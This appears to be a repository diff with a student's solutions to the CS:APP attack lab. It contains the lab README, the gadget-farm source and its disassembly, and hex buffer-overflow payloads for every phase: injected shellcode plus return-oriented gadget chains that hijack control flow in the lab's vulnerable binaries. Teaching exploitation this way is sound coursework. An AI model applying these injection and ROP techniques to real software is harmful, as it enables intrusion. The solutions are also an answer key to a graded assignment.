输入以下命令即可完成`touch23 | |||
```bash | |||
./hex2raw < phase_5.txt > phase_5_raw.txt | |||
gdb rtarget | |||
r -i phase_5_raw.txt | |||
``` | |||
@ -0,0 +1,28 @@ | |||
This file contains materials for one instance of the attacklab. | |||
Files: | |||
ctarget | |||
Linux binary with code-injection vulnerability. To be used for phases | |||
1-3 of the assignment. | |||
rtarget | |||
Linux binary with return-oriented programming vulnerability. To be | |||
used for phases 4-5 of the assignment. | |||
cookie.txt | |||
Text file containing 4-byte signature required for this lab instance. | |||
farm.c | |||
Source code for gadget farm present in this instance of rtarget. You | |||
can compile (use flag -Og) and disassemble it to look for gadgets. | |||
hex2raw | |||
Utility program to generate byte sequences. See documentation in lab | |||
handout. | |||
@ -0,0 +1 @@ | |||
0x3e8dee8f |
@ -0,0 +1,223 @@ | |||
/* This function marks the start of the farm */ | |||
int start_farm() | |||
{ | |||
return 1; | |||
} | |||
unsigned getval_448() | |||
{ | |||
return 4139995209U; | |||
} | |||
void setval_253(unsigned *p) | |||
{ | |||
*p = 2496104776U; | |||
} | |||
unsigned getval_373() | |||
{ | |||
return 1489171923U; | |||
} | |||
void setval_233(unsigned *p) | |||
{ | |||
*p = 3347663495U; | |||
} | |||
void setval_212(unsigned *p) | |||
{ | |||
*p = 2462290008U; | |||
} | |||
unsigned getval_424() | |||
{ | |||
return 3284633928U; | |||
} | |||
void setval_417(unsigned *p) | |||
{ | |||
*p = 2428995912U; | |||
} | |||
void setval_479(unsigned *p) | |||
{ | |||
*p = 1635764056U; | |||
} | |||
/* This function marks the middle of the farm */ | |||
int mid_farm() | |||
{ | |||
return 1; | |||
} | |||
/* Add two arguments */ | |||
long add_xy(long x, long y) | |||
{ | |||
return x+y; | |||
} | |||
unsigned addval_467(unsigned x) | |||
{ | |||
return x + 3526935177U; | |||
} | |||
void setval_191(unsigned *p) | |||
{ | |||
*p = 3372798345U; | |||
} | |||
unsigned addval_101(unsigned x) | |||
{ | |||
return x + 3286272328U; | |||
} | |||
void setval_324(unsigned *p) | |||
{ | |||
*p = 3674784397U; | |||
} | |||
void setval_118(unsigned *p) | |||
{ | |||
*p = 3223899785U; | |||
} | |||
unsigned addval_344(unsigned x) | |||
{ | |||
return x + 3372797593U; | |||
} | |||
unsigned getval_119() | |||
{ | |||
return 2447411528U; | |||
} | |||
void setval_422(unsigned *p) | |||
{ | |||
*p = 3374370441U; | |||
} | |||
unsigned getval_396() | |||
{ | |||
return 3523793288U; | |||
} | |||
unsigned getval_181() | |||
{ | |||
return 3352201558U; | |||
} | |||
void setval_430(unsigned *p) | |||
{ | |||
*p = 2425406089U; | |||
} | |||
unsigned getval_131() | |||
{ | |||
return 3374367241U; | |||
} | |||
unsigned getval_127() | |||
{ | |||
return 3532968329U; | |||
} | |||
unsigned getval_488() | |||
{ | |||
return 3531915945U; | |||
} | |||
void setval_397(unsigned *p) | |||
{ | |||
*p = 2447411528U; | |||
} | |||
void setval_352(unsigned *p) | |||
{ | |||
*p = 3767094477U; | |||
} | |||
unsigned getval_130() | |||
{ | |||
return 3523792520U; | |||
} | |||
void setval_483(unsigned *p) | |||
{ | |||
*p = 1002951049U; | |||
} | |||
void setval_198(unsigned *p) | |||
{ | |||
*p = 3767355453U; | |||
} | |||
unsigned addval_355(unsigned x) | |||
{ | |||
return x + 3285289226U; | |||
} | |||
unsigned addval_366(unsigned x) | |||
{ | |||
return x + 3281043977U; | |||
} | |||
unsigned getval_470() | |||
{ | |||
return 3526413961U; | |||
} | |||
unsigned addval_239(unsigned x) | |||
{ | |||
return x + 2495777189U; | |||
} | |||
void setval_433(unsigned *p) | |||
{ | |||
*p = 3682910873U; | |||
} | |||
unsigned getval_102() | |||
{ | |||
return 3225997705U; | |||
} | |||
void setval_128(unsigned *p) | |||
{ | |||
*p = 2464188744U; | |||
} | |||
void setval_480(unsigned *p) | |||
{ | |||
*p = 3677408905U; | |||
} | |||
unsigned addval_494(unsigned x) | |||
{ | |||
return x + 3531919745U; | |||
} | |||
unsigned getval_367() | |||
{ | |||
return 3767093308U; | |||
} | |||
void setval_476(unsigned *p) | |||
{ | |||
*p = 3281048009U; | |||
} | |||
unsigned getval_159() | |||
{ | |||
return 3375943305U; | |||
} | |||
unsigned getval_115() | |||
{ | |||
return 3269495112U; | |||
} | |||
/* This function marks the end of the farm */ | |||
int end_farm() | |||
{ | |||
return 1; | |||
} |
@ -0,0 +1,225 @@ | |||
farm.o: 文件格式 elf64-x86-64 | |||
Disassembly of section .text: | |||
0000000000000000 <start_farm>: | |||
0: f3 0f 1e fa endbr64 | |||
4: b8 01 00 00 00 mov $0x1,%eax | |||
9: c3 ret | |||
000000000000000a <getval_448>: | |||
a: f3 0f 1e fa endbr64 | |||
e: b8 49 50 c3 f6 mov $0xf6c35049,%eax | |||
13: c3 ret | |||
0000000000000014 <setval_253>: | |||
14: f3 0f 1e fa endbr64 | |||
18: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) | |||
1e: c3 ret | |||
000000000000001f <getval_373>: | |||
1f: f3 0f 1e fa endbr64 | |||
23: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax | |||
28: c3 ret | |||
0000000000000029 <setval_233>: | |||
29: f3 0f 1e fa endbr64 | |||
2d: c7 07 87 4a 89 c7 movl $0xc7894a87,(%rdi) | |||
33: c3 ret | |||
0000000000000034 <setval_212>: | |||
34: f3 0f 1e fa endbr64 | |||
38: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi) | |||
3e: c3 ret | |||
000000000000003f <getval_424>: | |||
3f: f3 0f 1e fa endbr64 | |||
43: b8 48 89 c7 c3 mov $0xc3c78948,%eax | |||
48: c3 ret | |||
0000000000000049 <setval_417>: | |||
49: f3 0f 1e fa endbr64 | |||
4d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) | |||
53: c3 ret | |||
0000000000000054 <setval_479>: | |||
54: f3 0f 1e fa endbr64 | |||
58: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi) | |||
5e: c3 ret | |||
000000000000005f <mid_farm>: | |||
5f: f3 0f 1e fa endbr64 | |||
63: b8 01 00 00 00 mov $0x1,%eax | |||
68: c3 ret | |||
0000000000000069 <add_xy>: | |||
69: f3 0f 1e fa endbr64 | |||
6d: 48 8d 04 37 lea (%rdi,%rsi,1),%rax | |||
71: c3 ret | |||
0000000000000072 <addval_467>: | |||
72: f3 0f 1e fa endbr64 | |||
76: 8d 87 89 c2 38 d2 lea -0x2dc73d77(%rdi),%eax | |||
7c: c3 ret | |||
000000000000007d <setval_191>: | |||
7d: f3 0f 1e fa endbr64 | |||
81: c7 07 89 d1 08 c9 movl $0xc908d189,(%rdi) | |||
87: c3 ret | |||
0000000000000088 <addval_101>: | |||
88: f3 0f 1e fa endbr64 | |||
8c: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax | |||
92: c3 ret | |||
0000000000000093 <setval_324>: | |||
93: f3 0f 1e fa endbr64 | |||
97: c7 07 8d c2 08 db movl $0xdb08c28d,(%rdi) | |||
9d: c3 ret | |||
000000000000009e <setval_118>: | |||
9e: f3 0f 1e fa endbr64 | |||
a2: c7 07 89 ce 28 c0 movl $0xc028ce89,(%rdi) | |||
a8: c3 ret | |||
00000000000000a9 <addval_344>: | |||
a9: f3 0f 1e fa endbr64 | |||
ad: 8d 87 99 ce 08 c9 lea -0x36f73167(%rdi),%eax | |||
b3: c3 ret | |||
00000000000000b4 <getval_119>: | |||
b4: f3 0f 1e fa endbr64 | |||
b8: b8 48 89 e0 91 mov $0x91e08948,%eax | |||
bd: c3 ret | |||
00000000000000be <setval_422>: | |||
be: f3 0f 1e fa endbr64 | |||
c2: c7 07 89 ce 20 c9 movl $0xc920ce89,(%rdi) | |||
c8: c3 ret | |||
00000000000000c9 <getval_396>: | |||
c9: f3 0f 1e fa endbr64 | |||
cd: b8 88 d1 08 d2 mov $0xd208d188,%eax | |||
d2: c3 ret | |||
00000000000000d3 <getval_181>: | |||
d3: f3 0f 1e fa endbr64 | |||
d7: b8 56 89 ce c7 mov $0xc7ce8956,%eax | |||
dc: c3 ret | |||
00000000000000dd <setval_430>: | |||
dd: f3 0f 1e fa endbr64 | |||
e1: c7 07 89 c2 90 90 movl $0x9090c289,(%rdi) | |||
e7: c3 ret | |||
00000000000000e8 <getval_131>: | |||
e8: f3 0f 1e fa endbr64 | |||
ec: b8 09 c2 20 c9 mov $0xc920c209,%eax | |||
f1: c3 ret | |||
00000000000000f2 <getval_127>: | |||
f2: f3 0f 1e fa endbr64 | |||
f6: b8 89 d1 94 d2 mov $0xd294d189,%eax | |||
fb: c3 ret | |||
00000000000000fc <getval_488>: | |||
fc: f3 0f 1e fa endbr64 | |||
100: b8 a9 c2 84 d2 mov $0xd284c2a9,%eax | |||
105: c3 ret | |||
0000000000000106 <setval_397>: | |||
106: f3 0f 1e fa endbr64 | |||
10a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi) | |||
110: c3 ret | |||
0000000000000111 <setval_352>: | |||
111: f3 0f 1e fa endbr64 | |||
115: c7 07 cd 4c 89 e0 movl $0xe0894ccd,(%rdi) | |||
11b: c3 ret | |||
000000000000011c <getval_130>: | |||
11c: f3 0f 1e fa endbr64 | |||
120: b8 88 ce 08 d2 mov $0xd208ce88,%eax | |||
125: c3 ret | |||
0000000000000126 <setval_483>: | |||
126: f3 0f 1e fa endbr64 | |||
12a: c7 07 89 d1 c7 3b movl $0x3bc7d189,(%rdi) | |||
130: c3 ret | |||
0000000000000131 <setval_198>: | |||
131: f3 0f 1e fa endbr64 | |||
135: c7 07 3d 48 8d e0 movl $0xe08d483d,(%rdi) | |||
13b: c3 ret | |||
000000000000013c <addval_355>: | |||
13c: f3 0f 1e fa endbr64 | |||
140: 8d 87 0a 89 d1 c3 lea -0x3c2e76f6(%rdi),%eax | |||
146: c3 ret | |||
0000000000000147 <addval_366>: | |||
147: f3 0f 1e fa endbr64 | |||
14b: 8d 87 09 c2 90 c3 lea -0x3c6f3df7(%rdi),%eax | |||
151: c3 ret | |||
0000000000000152 <getval_470>: | |||
152: f3 0f 1e fa endbr64 | |||
156: b8 89 ce 30 d2 mov $0xd230ce89,%eax | |||
15b: c3 ret | |||
000000000000015c <addval_239>: | |||
15c: f3 0f 1e fa endbr64 | |||
160: 8d 87 a5 89 c2 94 lea -0x6b3d765b(%rdi),%eax | |||
166: c3 ret | |||
0000000000000167 <setval_433>: | |||
167: f3 0f 1e fa endbr64 | |||
16b: c7 07 99 c2 84 db movl $0xdb84c299,(%rdi) | |||
171: c3 ret | |||
0000000000000172 <getval_102>: | |||
172: f3 0f 1e fa endbr64 | |||
176: b8 89 d1 48 c0 mov $0xc048d189,%eax | |||
17b: c3 ret | |||
000000000000017c <setval_128>: | |||
17c: f3 0f 1e fa endbr64 | |||
180: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi) | |||
186: c3 ret | |||
0000000000000187 <setval_480>: | |||
187: f3 0f 1e fa endbr64 | |||
18b: c7 07 89 ce 30 db movl $0xdb30ce89,(%rdi) | |||
191: c3 ret | |||
0000000000000192 <addval_494>: | |||
192: f3 0f 1e fa endbr64 | |||
196: 8d 87 81 d1 84 d2 lea -0x2d7b2e7f(%rdi),%eax | |||
19c: c3 ret | |||
000000000000019d <getval_367>: | |||
19d: f3 0f 1e fa endbr64 | |||
1a1: b8 3c 48 89 e0 mov $0xe089483c,%eax | |||
1a6: c3 ret | |||
00000000000001a7 <setval_476>: | |||
1a7: f3 0f 1e fa endbr64 | |||
1ab: c7 07 c9 d1 90 c3 movl $0xc390d1c9,(%rdi) | |||
1b1: c3 ret | |||
00000000000001b2 <getval_159>: | |||
1b2: f3 0f 1e fa endbr64 | |||
1b6: b8 89 ce 38 c9 mov $0xc938ce89,%eax | |||
1bb: c3 ret | |||
00000000000001bc <getval_115>: | |||
1bc: f3 0f 1e fa endbr64 | |||
1c0: b8 48 89 e0 c2 mov $0xc2e08948,%eax | |||
1c5: c3 ret | |||
00000000000001c6 <end_farm>: | |||
1c6: f3 0f 1e fa endbr64 | |||
1ca: b8 01 00 00 00 mov $0x1,%eax | |||
1cf: c3 ret |
@ -0,0 +1,4 @@ | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
7b 1a 40 55 55 55 00 00 |
@ -0,0 +1,4 @@ | |||
48 c7 c7 8f ee 8d 3e 48 | |||
be a9 1a 40 55 55 55 00 | |||
00 56 c3 00 00 00 00 00 | |||
58 1b 62 55 00 00 00 00 |
@ -0,0 +1,12 @@ | |||
phase_2_assembly.o: 文件格式 elf64-x86-64 | |||
Disassembly of section .text: | |||
0000000000000000 <.text>: | |||
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi | |||
7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi | |||
e: 55 00 00 | |||
11: 56 push %rsi | |||
12: c3 ret |
@ -0,0 +1,4 @@ | |||
movq $0x3e8dee8f,%rdi | |||
movq $0x0000555555401aa9,%rsi | |||
push %rsi | |||
ret |
@ -0,0 +1,6 @@ | |||
48 c7 c7 78 1b 62 55 48 | |||
ba c0 1b 40 55 55 55 00 | |||
00 52 c3 00 00 00 00 00 | |||
58 1b 62 55 00 00 00 00 | |||
33 65 38 64 65 65 38 66 | |||
00 |
@ -0,0 +1,12 @@ | |||
phase_3_assembly.o: 文件格式 elf64-x86-64 | |||
Disassembly of section .text: | |||
0000000000000000 <.text>: | |||
0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi | |||
7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx | |||
e: 55 00 00 | |||
11: 52 push %rdx | |||
12: c3 ret |
@ -0,0 +1,4 @@ | |||
movq $0x55621b78,%rdi | |||
movq $0x0000555555401bc0,%rdx | |||
push %rdx | |||
ret |
@ -0,0 +1,7 @@ | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
74 1c 40 55 55 55 00 00 | |||
8f ee 8d 3e 00 00 00 00 | |||
85 1c 40 55 55 55 00 00 | |||
a9 1a 40 55 55 55 00 00 |
@ -0,0 +1,14 @@ | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
b3 1c 40 55 55 55 00 00 | |||
8c 1c 40 55 55 55 00 00 | |||
74 1c 40 55 55 55 00 00 | |||
48 00 00 00 00 00 00 00 | |||
a5 1c 40 55 55 55 00 00 | |||
ac 1c 40 55 55 55 00 00 | |||
d5 1c 40 55 55 55 00 00 | |||
9e 1c 40 55 55 55 00 00 | |||
85 1c 40 55 55 55 00 00 | |||
c0 1b 40 55 55 55 00 00 | |||
33 65 38 64 65 65 38 66 |